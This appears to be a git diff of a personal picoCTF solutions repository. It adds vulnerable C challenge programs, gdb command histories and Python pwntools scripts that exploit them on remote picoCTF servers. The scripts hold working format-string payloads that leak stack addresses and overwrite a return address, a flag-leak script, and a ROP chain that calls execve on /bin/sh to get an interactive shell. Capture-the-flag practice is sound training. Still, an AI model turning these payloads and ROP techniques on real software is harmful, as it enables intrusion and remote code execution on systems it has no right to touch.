stepi
|
||||
stackf
|
||||
nextret
|
||||
nexti
|
||||
stackf
|
||||
r
|
||||
disassemble echo_valley
|
||||
stackf
|
||||
help stackf
|
||||
stackf 8 -10
|
||||
stackf 8
|
||||
stackf 8 10
|
||||
stackf 8 -100
|
||||
stackf 16 -10
|
||||
hexdump $sp
|
||||
hexdump $sp-0x60
|
||||
hexdump $sp-0x60 100
|
||||
hexdump $sp-0x60 1000
|
||||
hexdump $sp-0x60 100
|
||||
stackf
|
||||
hexdump $sp-0x60 100
|
||||
stackf
|
||||
nextret
|
||||
r
|
||||
stackf
|
||||
hexdump $sp-0x60 200
|
||||
necti
|
||||
nexti
|
||||
stackf
|
||||
r
|
||||
stepi
|
||||
stackf
|
||||
r
|
||||
stackf
|
||||
nexti
|
||||
stackf
|
||||
r
|
||||
stackf
|
||||
stepi
|
||||
stackf
|
||||
nextret
|
||||
r
|
||||
stackf
|
||||
stepi
|
||||
stackf
|
||||
nextret
|
||||
exit
|
||||
disassemble echo_valley
|
||||
b *echo_valley+201
|
||||
r
|
||||
nexti
|
||||
exit
|
||||
disassemble echo_valley
|
||||
b *echo_valley+218
|
||||
r
|
||||
nexti
|
||||
stackf
|
||||
exit
|
||||
b *echo_valley+218
|
||||
r
|
||||
stackf
|
||||
exit
|
||||
b *echo_valley+218
|
||||
r
|
||||
nexti
|
||||
stackf
|
||||
exit
|
||||
b *echo_valley+218
|
||||
r
|
||||
stackf
|
||||
hexdump
|
||||
hexdump 20
|
||||
hexdump $sp 20
|
||||
hexdump $sp 100
|
||||
hexdump $sp 120
|
||||
hexdump $sp 140
|
||||
nexti
|
||||
exit
|
||||
b *echo_valley+218
|
||||
r
|
||||
nexti
|
||||
stackf
|
||||
hexdump $sp 140
|
||||
exit()
|
||||
lexit
|
||||
exit
|
||||
b *echo_valley+218
|
||||
disassemble echo_valley
|
||||
r
|
||||
nexti
|
||||
stackg
|
||||
stackf
|
||||
hexdump $sp 140
|
||||
xit
|
||||
exit
|
||||
exit
|
||||
nexti
|
||||
nexti
|
||||
r
|
||||
exit
|
||||
stackf
|
||||
stackf
|
||||
nexti
|
||||
nextret
|
||||
nextret
|
||||
nextret
|
||||
nextret
|
||||
nextret
|
||||
nextret
|
||||
nextret
|
||||
nextret
|
||||
stackf
|
||||
nextret
|
||||
nextret
|
||||
nextret
|
||||
stackf
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
disassemble echo-valley
|
||||
disassemble echo_valley
|
||||
nextret
|
||||
nextret
|
||||
exit
|
||||
disassemble echo_valley
|
||||
b *echo_valley+163
|
||||
nextret
|
||||
stackf
|
||||
exit
|
||||
disassemble echo_valley
|
||||
b *echo_valley+218
|
||||
r
|
||||
help printf
|
||||
printf "\01\02"
|
||||
printf "\x01\x02"
|
||||
printf "\x61\x62"
|
||||
printf "\x41\x41"
|
||||
disassemble valloc
|
||||
exit
|
||||
disassemble echo_valley
|
||||
b *echo_valley+218
|
||||
stackf
|
||||
stackf help
|
||||
stackf 20
|
||||
stackf 20 -1
|
||||
stackf 20 -2
|
||||
stackf 20 1
|
||||
stackf 20 2
|
||||
stackf 20 3
|
||||
stack-explore
|
||||
stack
|
||||
stackf
|
||||
r
|
||||
exit
|
||||
b *echo_valley+218
|
||||
exit
|
||||
b *echo_valley+218
|
||||
continue
|
||||
stackf
|
||||
nexti
|
||||
stackf
|
||||
exit
|
||||
b *echo_valley+218
|
||||
continue
|
||||
nexti
|
||||
stackf
|
||||
exit
|
||||
b *echo_valley+218
|
||||
continue
|
||||
nexti
|
||||
exit
|
||||
b *echo_valley+218
|
||||
continue
|
||||
nexti
|
||||
hexdump $sp 140
|
||||
continue
|
||||
stackf
|
||||
hexdump $sp 140
|
||||
nexti
|
||||
stackf
|
||||
hexdump $sp 140
|
||||
exit
|
||||
b *echo_valley+218
|
||||
continue
|
||||
nexti
|
||||
continue
|
||||
nexti
|
||||
stackf
|
||||
hexdump $sp 140
|
||||
exit
|
||||
b *echo_valley+218
|
||||
continue
|
||||
hexdump $sp 140
|
||||
nexti
|
||||
hexdump $sp 140
|
||||
exit
|
||||
b *echo_valley+218
|
||||
continue
|
||||
hexdump $sp 140
|
||||
nexti
|
||||
hexdump $sp 140
|
||||
continue
|
||||
hexdump $sp 140
|
||||
nexti
|
||||
hexdump $sp 140
|
||||
continue
|
||||
exit
|
||||
exit
|
||||
51
echo_valley/manual.py
Executable file
51
echo_valley/manual.py
Executable file
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
context.terminal = "kitty"
|
||||
|
||||
def write(data):
|
||||
print(f"data to send: {data}")
|
||||
return input("enter result: ").encode()
|
||||
|
||||
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
print(f"received {address_leak_string}")
|
||||
|
||||
dot = address_leak_string.rfind(b'.')
|
||||
address_leak = int(address_leak_string[dot+1:], 16)
|
||||
print(f"return address: {hex(address_leak)}")
|
||||
|
||||
dot2 = address_leak_string.rfind(b'.', 0, dot)
|
||||
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
|
||||
stack_address_ret = stack_address_leak_after_ret - 8
|
||||
print(f"found stack address of ret pointer: {hex(stack_address_ret)}")
|
||||
|
||||
address_offset = 18
|
||||
main_offset = 0x1401
|
||||
print_flag_offset = 0x1269
|
||||
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
|
||||
print(f"jump address is: {hex(address_to_return_to)}")
|
||||
|
||||
# only 2 least significant address bytes have to be rewritten
|
||||
print(f"first byte address: {p64(stack_address_ret)}")
|
||||
|
||||
# produces string that writes 0<=n<=255 to byte at address
|
||||
# offset for alignment of memory address
|
||||
# here, use offset 2
|
||||
def produce_writer(n, address, offset=0, op=b"hhn"):
|
||||
if n < 0:
|
||||
log.error(f"n has to be >= 0, is {n}")
|
||||
exit()
|
||||
if n < 8:
|
||||
n_pre = n
|
||||
n_post = 8 - n_pre + offset
|
||||
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
|
||||
else:
|
||||
return f"%{n:03}$x..".encode() + b"%8$" + op + b'.'*offset + address
|
||||
|
||||
lower_byte_value = address_to_return_to%256
|
||||
upper_byte_value = (address_to_return_to>>8)%256
|
||||
print(f"lower byte value: {lower_byte_value}\nupper byte value: {upper_byte_value}")
|
||||
write_lower_byte = write(produce_writer(0, p64(stack_address_ret), offset=2))
|
||||
write_upper_byte = write(produce_writer(0, p64(stack_address_ret+1), offset=2))
|
||||
conn.interactive(term.text.bold_red(">> "))
|
||||
|
||||
63
echo_valley/sol.py
Executable file
63
echo_valley/sol.py
Executable file
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
#conn = process("./valley")
|
||||
conn = remote("shape-facility.picoctf.net", 53287)
|
||||
conn.recvline()
|
||||
|
||||
def write(data):
|
||||
conn.sendline(data)
|
||||
conn.recvuntil(b"e: ")
|
||||
return conn.recvline(keepends=False)
|
||||
|
||||
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
log.info(f"received {address_leak_string}")
|
||||
|
||||
dot = address_leak_string.rfind(b'.')
|
||||
address_leak = int(address_leak_string[dot+1:], 16)
|
||||
log.info(f"return address: {hex(address_leak)}")
|
||||
|
||||
dot2 = address_leak_string.rfind(b'.', 0, dot)
|
||||
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
|
||||
stack_address_ret = stack_address_leak_after_ret - 8
|
||||
log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}")
|
||||
|
||||
address_offset = 18
|
||||
main_offset = 0x1401
|
||||
print_flag_offset = 0x1269
|
||||
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
|
||||
log.info(f"jump address is: {hex(address_to_return_to)}")
|
||||
|
||||
# only 2 least significant address bytes have to be rewritten
|
||||
log.info(f"first byte address: {p64(stack_address_ret)}")
|
||||
|
||||
# produces string that writes 0<=n<=255 to byte at address
|
||||
# offset for alignment of memory address
|
||||
# here, use offset 2
|
||||
def produce_writer(n, address, offset=0, op=b"hhn"):
|
||||
if n < 0:
|
||||
log.error(f"n has to be >= 0, is {n}")
|
||||
exit()
|
||||
if n < 8:
|
||||
n_pre = n
|
||||
n_post = 8 - n_pre + offset
|
||||
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
|
||||
else:
|
||||
return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address
|
||||
|
||||
lower_byte_value = address_to_return_to%256
|
||||
upper_byte_value = (address_to_return_to>>8)%256
|
||||
|
||||
lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2)
|
||||
log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}")
|
||||
write_lower_byte = conn.sendline(lower_byte_writer)
|
||||
|
||||
upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2)
|
||||
log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}")
|
||||
write_upper_byte = conn.sendline(upper_byte_writer)
|
||||
|
||||
conn.sendline(b"exit")
|
||||
conn.recvuntil(b"The Valley Disappears\n")
|
||||
rest = conn.recvall()
|
||||
log.info(f"got {rest}")
|
||||
|
||||
BIN
echo_valley/valley
Executable file
BIN
echo_valley/valley
Executable file
Binary file not shown.
49
echo_valley/valley.c
Normal file
49
echo_valley/valley.c
Normal file
@@ -0,0 +1,49 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
void print_flag() {
|
||||
char buf[32];
|
||||
FILE *file = fopen("/home/valley/flag.txt", "r");
|
||||
|
||||
if (file == NULL) {
|
||||
perror("Failed to open flag file");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
fgets(buf, sizeof(buf), file);
|
||||
printf("Congrats! Here is your flag: %s", buf);
|
||||
fclose(file);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
void echo_valley() {
|
||||
printf("Welcome to the Echo Valley, Try Shouting: \n");
|
||||
|
||||
char buf[100];
|
||||
|
||||
while(1)
|
||||
{
|
||||
fflush(stdout);
|
||||
if (fgets(buf, sizeof(buf), stdin) == NULL) {
|
||||
printf("\nEOF detected. Exiting...\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (strcmp(buf, "exit\n") == 0) {
|
||||
printf("The Valley Disappears\n");
|
||||
break;
|
||||
}
|
||||
|
||||
printf("You heard in the distance: ");
|
||||
printf(buf);
|
||||
fflush(stdout);
|
||||
}
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
echo_valley();
|
||||
return 0;
|
||||
}
|
||||
2
flag_leak/.gdb_history
Normal file
2
flag_leak/.gdb_history
Normal file
@@ -0,0 +1,2 @@
|
||||
disassemble main
|
||||
exit
|
||||
29
flag_leak/sol.py
Executable file
29
flag_leak/sol.py
Executable file
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
buffer_size = 127
|
||||
hex_to_read = 127//2
|
||||
hex_reader = b'%x'*hex_to_read
|
||||
payload = hex_reader + b'.'
|
||||
log.info(f"payload: {payload}")
|
||||
|
||||
def endian_swap(s, offset=0):
|
||||
result = b''
|
||||
for i in range(3+offset, len(s), 4):
|
||||
result += bytes(reversed(s[i-3:i+1]))
|
||||
return result
|
||||
|
||||
conn = remote("saturn.picoctf.net", 65206)
|
||||
|
||||
conn.recvuntil(b" >> ")
|
||||
conn.sendline(payload)
|
||||
conn.recvline()
|
||||
data = conn.recvline(keepends=False)[:-1]
|
||||
log.info(f"received data: {data}")
|
||||
unhexed_data = unhex(data)
|
||||
for i in range(4):
|
||||
endian_swapped_data = endian_swap(unhexed_data, offset=i)
|
||||
if b"picoCTF" in endian_swapped_data:
|
||||
break
|
||||
log.info(f"processed data: {endian_swapped_data}")
|
||||
|
||||
BIN
flag_leak/vuln
Executable file
BIN
flag_leak/vuln
Executable file
Binary file not shown.
46
flag_leak/vuln.c
Normal file
46
flag_leak/vuln.c
Normal file
@@ -0,0 +1,46 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <wchar.h>
|
||||
#include <locale.h>
|
||||
|
||||
#define BUFSIZE 64
|
||||
#define FLAGSIZE 64
|
||||
|
||||
void readflag(char* buf, size_t len) {
|
||||
FILE *f = fopen("flag.txt","r");
|
||||
if (f == NULL) {
|
||||
printf("%s %s", "Please create 'flag.txt' in this directory with your",
|
||||
"own debugging flag.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fgets(buf,len,f); // size bound read
|
||||
}
|
||||
|
||||
void vuln(){
|
||||
char flag[BUFSIZE];
|
||||
char story[128];
|
||||
|
||||
readflag(flag, FLAGSIZE);
|
||||
|
||||
printf("Tell me a story and then I'll tell you one >> ");
|
||||
scanf("%127s", story);
|
||||
printf("Here's a story - \n");
|
||||
printf(story);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv){
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Set the gid to the effective gid
|
||||
// this prevents /bin/sh from dropping the privileges
|
||||
gid_t gid = getegid();
|
||||
setresgid(gid, gid, gid);
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
1769611
flag_printer/encoded.txt
1769611
flag_printer/encoded.txt
File diff suppressed because it is too large
Load Diff
@@ -1,28 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import galois
|
||||
import numpy as np
|
||||
MOD = 7514777789
|
||||
|
||||
points = []
|
||||
|
||||
for line in open('encoded.txt', 'r').read().strip().split('\n'):
|
||||
x, y = line.split(' ')
|
||||
points.append((int(x), int(y)))
|
||||
|
||||
GF = galois.GF(MOD)
|
||||
print(GF.properties)
|
||||
|
||||
matrix = []
|
||||
solution = []
|
||||
for point in points:
|
||||
x, y = point
|
||||
solution.append(GF(y % MOD))
|
||||
|
||||
row = []
|
||||
for i in range(3):
|
||||
row.append(GF((x ** i) % MOD))
|
||||
|
||||
matrix.append(GF(row))
|
||||
|
||||
print('solving')
|
||||
open('output.bmp', 'wb').write(bytearray(np.linalg.lstsq(GF(matrix), GF(solution)).tolist()[:-1]))
|
||||
@@ -1,31 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from sage.all import *
|
||||
MOD = 7514777789
|
||||
|
||||
ring=GF(MOD)
|
||||
|
||||
points = []
|
||||
for line in open('encoded.txt', 'r').read().strip().split('\n'):
|
||||
x, y = line.split(' ')
|
||||
points.append((int(x), int(y)))
|
||||
|
||||
print("building matrices")
|
||||
|
||||
solution = []
|
||||
M = []
|
||||
for point in points:
|
||||
x, y = point
|
||||
solution.append(ring(y % MOD))
|
||||
|
||||
row = []
|
||||
for i in range(3):
|
||||
row.append(pow(x, i, MOD))
|
||||
M.append(row)
|
||||
|
||||
print("converting matrices")
|
||||
|
||||
solution = vector(solution)
|
||||
M = Matrix(M, base_ring=GF(MOD))
|
||||
|
||||
print('solving')
|
||||
open('output.bmp', 'wb').write(bytearray(M.solve_right(solution).tolist()[:-1]))
|
||||
60
guessing_game_1/.gdb_history
Normal file
60
guessing_game_1/.gdb_history
Normal file
@@ -0,0 +1,60 @@
|
||||
disassemble main
|
||||
disassemble increment
|
||||
disassemble get_random
|
||||
exit
|
||||
cyclic
|
||||
cyclic 100
|
||||
cyclic 200
|
||||
cyclic 360
|
||||
cyclic zaaa
|
||||
cyclic zaaaaa
|
||||
cyclic help
|
||||
cyclic -l bdaaaaaa
|
||||
cyclic -l aaaaaa
|
||||
cyclic -l aaaaaaaa
|
||||
cyclic -l aaaaaaab
|
||||
r
|
||||
r
|
||||
cyclic -l 0x6161616161616170
|
||||
disassemble main
|
||||
exit
|
||||
c
|
||||
c
|
||||
c
|
||||
c
|
||||
c
|
||||
c
|
||||
c
|
||||
c
|
||||
disassemble win
|
||||
b *win+49
|
||||
c
|
||||
exit
|
||||
b *win+49
|
||||
c
|
||||
stackf
|
||||
stackf help
|
||||
stackf -h
|
||||
stackf 100
|
||||
hexdump $sp 200
|
||||
nexti
|
||||
stackf
|
||||
nexti
|
||||
c
|
||||
hexdump *bss
|
||||
vmmap
|
||||
hexdump 0x6b7000
|
||||
hexdump 0x6bd000
|
||||
hexdump 7062432
|
||||
nexti
|
||||
b *win+49
|
||||
c
|
||||
nexti
|
||||
hexdump 7062432
|
||||
c
|
||||
nexti
|
||||
c
|
||||
b *win+49
|
||||
c
|
||||
c
|
||||
nexti
|
||||
5
guessing_game_1/Makefile.share
Normal file
5
guessing_game_1/Makefile.share
Normal file
@@ -0,0 +1,5 @@
|
||||
all:
|
||||
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
|
||||
|
||||
clean:
|
||||
rm vuln
|
||||
28
guessing_game_1/get_random_numbers.py
Executable file
28
guessing_game_1/get_random_numbers.py
Executable file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
n = 6
|
||||
values = []
|
||||
p = log.progress(f"bruteforcing {n} random numbers")
|
||||
while len(values) < n:
|
||||
for i in range(100):
|
||||
with context.quiet:
|
||||
conn = process("./vuln")
|
||||
conn.recvline()
|
||||
for v in values:
|
||||
conn.recvuntil(b"guess?")
|
||||
conn.sendline(str(v).encode())
|
||||
conn.sendline(b"0")
|
||||
p.status(f"i = {i:03}, {values}...")
|
||||
conn.recvuntil(b"guess?")
|
||||
conn.sendline(str(i+1).encode())
|
||||
conn.recvline()
|
||||
result = conn.recvline()
|
||||
with context.quiet:
|
||||
conn.close()
|
||||
if b"win" in result:
|
||||
values.append(i+1)
|
||||
break
|
||||
|
||||
p.success(f"values are {values}")
|
||||
|
||||
58
guessing_game_1/sol.py
Executable file
58
guessing_game_1/sol.py
Executable file
@@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
# https://cyb3rwhitesnake.medium.com/picoctf-guessing-game-1-pwn-bdc1c87016f9
|
||||
context.terminal = "kitty"
|
||||
|
||||
numbers = [84, 87, 78, 16, 94, 36] # -> brute-forcing script
|
||||
|
||||
elf = ELF("./vuln")
|
||||
rop = ROP(elf)
|
||||
pop_rdi = rop.rdi.address
|
||||
pop_rsi = rop.rsi.address
|
||||
pop_rdx = rop.rdx.address
|
||||
pop_rax = rop.rax.address
|
||||
syscall = rop.syscall.address
|
||||
bss = elf.bss()
|
||||
read = elf.functions['read'].address
|
||||
main = elf.functions['main'].address
|
||||
|
||||
ret_offset = 120
|
||||
|
||||
conn = remote("shape-facility.picoctf.net", 50780)
|
||||
#conn = process("./vuln")
|
||||
#attach(conn)
|
||||
|
||||
conn.recvuntil(b"guess?")
|
||||
conn.sendline(str(numbers[0]).encode())
|
||||
conn.recvuntil(b"Name?")
|
||||
|
||||
# call read: read(int fd -> rdi, void buf[count] -> rsi, size_t count -> rdx)
|
||||
# read(stdin/0, bss, 12)
|
||||
log.info(f"sending read payload")
|
||||
payload = cyclic(ret_offset, n=8)
|
||||
payload += p64(pop_rdi) + p64(0)
|
||||
payload += p64(pop_rsi) + p64(bss)
|
||||
payload += p64(pop_rdx) + p64(12)
|
||||
payload += p64(read)
|
||||
payload += p64(main)
|
||||
conn.sendline(payload)
|
||||
conn.sendline(b"/bin/sh\x00")
|
||||
|
||||
conn.recvuntil(b"guess?")
|
||||
conn.sendline(str(numbers[1]).encode())
|
||||
conn.recvuntil(b"Name?")
|
||||
|
||||
# call /bin/sh: sys_execve(59), rdi: char *filename, rsi: char *argv, rdx: char *envp
|
||||
# sys_execve(bss, NULL/0, NULL/0)
|
||||
log.info(f"calling execve")
|
||||
payload = cyclic(ret_offset, n=8)
|
||||
payload += p64(pop_rax) + p64(59)
|
||||
payload += p64(pop_rdi) + p64(bss)
|
||||
payload += p64(pop_rsi) + p64(0)
|
||||
payload += p64(pop_rdx) + p64(0)
|
||||
payload += p64(syscall)
|
||||
conn.sendline(payload)
|
||||
|
||||
conn.recvline()
|
||||
conn.interactive()
|
||||
|
||||
BIN
guessing_game_1/vuln
Executable file
BIN
guessing_game_1/vuln
Executable file
Binary file not shown.
67
guessing_game_1/vuln.c
Normal file
67
guessing_game_1/vuln.c
Normal file
@@ -0,0 +1,67 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define BUFSIZE 100
|
||||
|
||||
|
||||
long increment(long in) {
|
||||
return in + 1;
|
||||
}
|
||||
|
||||
long get_random() {
|
||||
return rand() % BUFSIZE;
|
||||
}
|
||||
|
||||
int do_stuff() {
|
||||
long ans = get_random();
|
||||
ans = increment(ans);
|
||||
int res = 0;
|
||||
|
||||
printf("What number would you like to guess?\n");
|
||||
char guess[BUFSIZE];
|
||||
fgets(guess, BUFSIZE, stdin);
|
||||
|
||||
long g = atol(guess);
|
||||
if (!g) {
|
||||
printf("That's not a valid number!\n");
|
||||
} else {
|
||||
if (g == ans) {
|
||||
printf("Congrats! You win! Your prize is this print statement!\n\n");
|
||||
res = 1;
|
||||
} else {
|
||||
printf("Nope!\n\n");
|
||||
}
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
void win() {
|
||||
char winner[BUFSIZE];
|
||||
printf("New winner!\nName? ");
|
||||
fgets(winner, 360, stdin);
|
||||
printf("Congrats %s\n\n", winner);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv){
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
// Set the gid to the effective gid
|
||||
// this prevents /bin/sh from dropping the privileges
|
||||
gid_t gid = getegid();
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
int res;
|
||||
|
||||
printf("Welcome to my guessing game!\n\n");
|
||||
|
||||
while (1) {
|
||||
res = do_stuff();
|
||||
if (res) {
|
||||
win();
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f35653637656135657d
|
||||
Binary file not shown.
Binary file not shown.
@@ -1 +0,0 @@
|
||||
1.6.0
|
||||
@@ -1 +0,0 @@
|
||||
1.3.0
|
||||
@@ -1 +0,0 @@
|
||||
1.6.1
|
||||
@@ -1 +0,0 @@
|
||||
1.6.1
|
||||
@@ -1 +0,0 @@
|
||||
2.1.0
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.0
|
||||
@@ -1 +0,0 @@
|
||||
1.9.0
|
||||
@@ -1 +0,0 @@
|
||||
1.9.0
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.0
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.1
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.2.0
|
||||
@@ -1 +0,0 @@
|
||||
1.2.0
|
||||
@@ -1 +0,0 @@
|
||||
1.3.6
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
2.5.1
|
||||
@@ -1 +0,0 @@
|
||||
2.0.0
|
||||
@@ -1 +0,0 @@
|
||||
2.4.1
|
||||
@@ -1 +0,0 @@
|
||||
2.5.1
|
||||
@@ -1 +0,0 @@
|
||||
2.5.1
|
||||
@@ -1 +0,0 @@
|
||||
2.5.1
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.0
|
||||
@@ -1 +0,0 @@
|
||||
1.2.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.1
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.2.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.0
|
||||
@@ -1 +0,0 @@
|
||||
1.1.1
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.0.0
|
||||
@@ -1 +0,0 @@
|
||||
1.5.0
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user